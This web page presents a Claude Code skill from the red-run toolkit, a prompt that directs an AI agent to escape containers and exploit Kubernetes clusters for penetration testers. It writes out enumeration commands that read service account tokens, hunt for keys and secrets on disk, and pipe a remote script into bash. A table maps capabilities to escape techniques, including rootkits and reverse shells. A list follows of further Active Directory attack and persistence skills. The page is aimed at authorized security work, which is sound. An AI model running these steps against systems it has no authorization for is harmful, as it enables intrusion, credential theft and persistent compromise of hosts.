/container-escapes
Container escape, Docker breakout, and Kubernetes exploitation.
$ npx -y skills add blacklanternsecurity/red-run --skill container-escapes --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/container-escapes
Context preview
The summary Claude sees to decide when to auto-load this skill.
Container escape, Docker breakout, and Kubernetes exploitation.
SKILL.md
container-escapes.SKILL.mdname: container-escapes
description: >
Container escape, Docker breakout, and Kubernetes exploitation.
keywords:
- container escape
- docker breakout
- escape this container
- I'm in a container
- kubernetes exploitation
- pod escape
- privileged container
- docker socket
- docker desktop
- WSL2 container
- k8s pentest
- service account token
- kubelet
- etcd
- container enumeration
- am I in a container
- cgroup escape
- nsenter
- hostPID
- hostNetwork
- cap_sys_admin container
tools:
- kubectl
- crictl
- ctr
- CDK
- deepce
- amicontained
- linpeas
- curl (for API interaction)
- nsenter
opsec: medium
Container Escapes and Kubernetes Exploitation
You are helping a penetration tester escape from a containerized environment or exploit a Kubernetes cluster. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[container-escapes] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access inside a container (Docker, Kubernetes pod, LXC, Podman)
- OR network access to Docker API (2375/2376), Kubernetes API (6443/8443),
kubelet (10250/10255), or etcd (2379)
Step 1: Container Detection and Enumeration
First, confirm you're in a container and identify the type and security posture.
Am I in a Container?
# Quick checks
ls -la /.dockerenv 2>/dev/null && echo "DOCKER CONTAINER"
ls -la /run/.containerenv 2>/dev/null && echo "PODMAN CONTAINER"
cat /proc/1/cgroup 2>/dev/null | grep -qiE "docker|containerd|kubepods|lxc|podman" && echo "CONTAINERIZED"
# Kubernetes pod detection
ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "KUBERNETES POD"
env | grep -q KUBERNETES && echo "KUBERNETES POD"
# Docker Desktop / WSL2 detection — narrows escape vectors significantly
uname -r | grep -q "microsoft-standard-WSL2" && echo "DOCKER DESKTOP (WSL2 backend)"
# Container runtime detection
cat /proc/1/cgroup 2>/dev/null | head -5
cat /proc/self/mountinfo 2>/dev/null | head -20
Capability Check
Capabilities determine which escape techniques are available.
# Current capabilities
capsh --print 2>/dev/null
cat /proc/self/status | grep -i cap 2>/dev/null
# Decode capability bitmask
# CapEff: 0000003fffffffff = ALL capabilities (privileged)
# CapEff: 00000000a80425fb = Default Docker capabilities
# Quick privileged check — these only exist in privileged containers
test -e /dev/kmsg && echo "LIKELY PRIVILEGED"
test -w /proc/sys/kernel/core_pattern && echo "PRIVILEGED — /proc writable"
fdisk -l 2>/dev/null | head -5 && echo "DEVICE ACCESS — PRIVILEGED"
mount | grep -q "sysfs.*rw" && echo "SYSFS WRITABLE — PRIVILEGED"
**Key capabilities for escape:**
| Capability | Escape Technique | |-----------|-----------------| | `cap_sys_admin` | Mount host fs, cgroup release_agent, BPF | | `cap_sys_ptrace` | Process injection, /proc/[pid]/mem write | | `cap_sys_module` | Load kernel module (rootkit/reverse shell) | | `cap_dac_override` | Read/write any file | | `cap_dac_read_search` | Read any file (Shocker exploit) | | `cap_sys_rawio` | Raw I/O (/dev/mem, /dev/kmem) | | `cap_net_admin` | Network manipulation, ARP spoof | | `cap_net_raw` | Packet sniffing, raw sockets |
Environment Enumeration
# Current user and permissions
id
whoami
# Container ID
hostname # Often the container ID
cat /proc/self/cgroup | grep -oP '[a-f0-9]{64}' | head -1
# Mounted filesystems (look for host mounts)
mount | grep -vE "^(proc|tmpfs|devpts|sysfs|cgroup)"
cat /proc/self/mountinfo | grep -vE "proc|tmpfs|devpts|sysfs|cgroup"
# Look for Docker socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
ls -la /var/run/containerd/containerd.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null
# Environment variables (credentials, configs)
env | sort
# Kubernetes-specific
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "K8S API: $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
# Network info
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null
cat /etc/resolv.conf
cat /etc/hosts
# Secrets and credentials on disk
find / -name "*.key" -o -name "*.pem" -o -name "*.cert" -o -name "*token*" \
-o -name "*secret*" -o -name "*.env" -o -name "config.json" 2>/dev/null | \
grep -v proc | grep -v sys | head -20Automated Enumeration Tools
# deepce — Docker Enumeration, Escalation, Container Escapes
./deepce.sh
# Or from memory:
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash
# CDK — Container penetration toolkit
./cdk evaluate
# amicontained — Container introspection
./amicontained
# LinPEAS (container-aware)
./linpeas.sh
Present all findings and ask which escape vector to pursue.
Step 2: Docker Socket Escape
**Prerequisite:** Docker socket mounted inside the container (`/var/run/doc
Read more
name: container-escapes description: > Container escape, Docker breakout, and Kubernetes exploitation. keywords: - container escape - docker breakout - escape this container - I'm in a container - kubernetes exploitation - pod escape - privileged container - docker socket - docker desktop - WSL2 container - k8s pentest - service account token - kubelet - etcd - container enumeration - am I in a container - cgroup escape - nsenter - hostPID - hostNetwork - cap_sys_admin container tools: - kubectl - crictl - ctr - CDK - deepce - amicontained - linpeas - curl (for API interaction) - nsenter opsec: medium
Container Escapes and Kubernetes Exploitation
You are helping a penetration tester escape from a containerized environment or exploit a Kubernetes cluster. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[container-escapes] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Shell access inside a container (Docker, Kubernetes pod, LXC, Podman)
- OR network access to Docker API (2375/2376), Kubernetes API (6443/8443),
kubelet (10250/10255), or etcd (2379)
Step 1: Container Detection and Enumeration
First, confirm you're in a container and identify the type and security posture.
Am I in a Container?
# Quick checks ls -la /.dockerenv 2>/dev/null && echo "DOCKER CONTAINER" ls -la /run/.containerenv 2>/dev/null && echo "PODMAN CONTAINER" cat /proc/1/cgroup 2>/dev/null | grep -qiE "docker|containerd|kubepods|lxc|podman" && echo "CONTAINERIZED" # Kubernetes pod detection ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null && echo "KUBERNETES POD" env | grep -q KUBERNETES && echo "KUBERNETES POD" # Docker Desktop / WSL2 detection — narrows escape vectors significantly uname -r | grep -q "microsoft-standard-WSL2" && echo "DOCKER DESKTOP (WSL2 backend)" # Container runtime detection cat /proc/1/cgroup 2>/dev/null | head -5 cat /proc/self/mountinfo 2>/dev/null | head -20
Capability Check
Capabilities determine which escape techniques are available.
# Current capabilities capsh --print 2>/dev/null cat /proc/self/status | grep -i cap 2>/dev/null # Decode capability bitmask # CapEff: 0000003fffffffff = ALL capabilities (privileged) # CapEff: 00000000a80425fb = Default Docker capabilities # Quick privileged check — these only exist in privileged containers test -e /dev/kmsg && echo "LIKELY PRIVILEGED" test -w /proc/sys/kernel/core_pattern && echo "PRIVILEGED — /proc writable" fdisk -l 2>/dev/null | head -5 && echo "DEVICE ACCESS — PRIVILEGED" mount | grep -q "sysfs.*rw" && echo "SYSFS WRITABLE — PRIVILEGED"
**Key capabilities for escape:**
| Capability | Escape Technique | |-----------|-----------------| | `cap_sys_admin` | Mount host fs, cgroup release_agent, BPF | | `cap_sys_ptrace` | Process injection, /proc/[pid]/mem write | | `cap_sys_module` | Load kernel module (rootkit/reverse shell) | | `cap_dac_override` | Read/write any file | | `cap_dac_read_search` | Read any file (Shocker exploit) | | `cap_sys_rawio` | Raw I/O (/dev/mem, /dev/kmem) | | `cap_net_admin` | Network manipulation, ARP spoof | | `cap_net_raw` | Packet sniffing, raw sockets |
Environment Enumeration
# Current user and permissions
id
whoami
# Container ID
hostname # Often the container ID
cat /proc/self/cgroup | grep -oP '[a-f0-9]{64}' | head -1
# Mounted filesystems (look for host mounts)
mount | grep -vE "^(proc|tmpfs|devpts|sysfs|cgroup)"
cat /proc/self/mountinfo | grep -vE "proc|tmpfs|devpts|sysfs|cgroup"
# Look for Docker socket
ls -la /var/run/docker.sock 2>/dev/null
ls -la /run/docker.sock 2>/dev/null
ls -la /var/run/containerd/containerd.sock 2>/dev/null
ls -la /run/containerd/containerd.sock 2>/dev/null
ls -la /var/run/crio/crio.sock 2>/dev/null
# Environment variables (credentials, configs)
env | sort
# Kubernetes-specific
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null
echo "K8S API: $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
# Network info
ip addr 2>/dev/null || ifconfig 2>/dev/null
ip route 2>/dev/null || route -n 2>/dev/null
cat /etc/resolv.conf
cat /etc/hosts
# Secrets and credentials on disk
find / -name "*.key" -o -name "*.pem" -o -name "*.cert" -o -name "*token*" \
-o -name "*secret*" -o -name "*.env" -o -name "config.json" 2>/dev/null | \
grep -v proc | grep -v sys | head -20Automated Enumeration Tools
# deepce — Docker Enumeration, Escalation, Container Escapes ./deepce.sh # Or from memory: curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | bash # CDK — Container penetration toolkit ./cdk evaluate # amicontained — Container introspection ./amicontained # LinPEAS (container-aware) ./linpeas.sh
Present all findings and ask which escape vector to pursue.
Step 2: Docker Socket Escape
**Prerequisite:** Docker socket mounted inside the container (`/var/run/doc
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

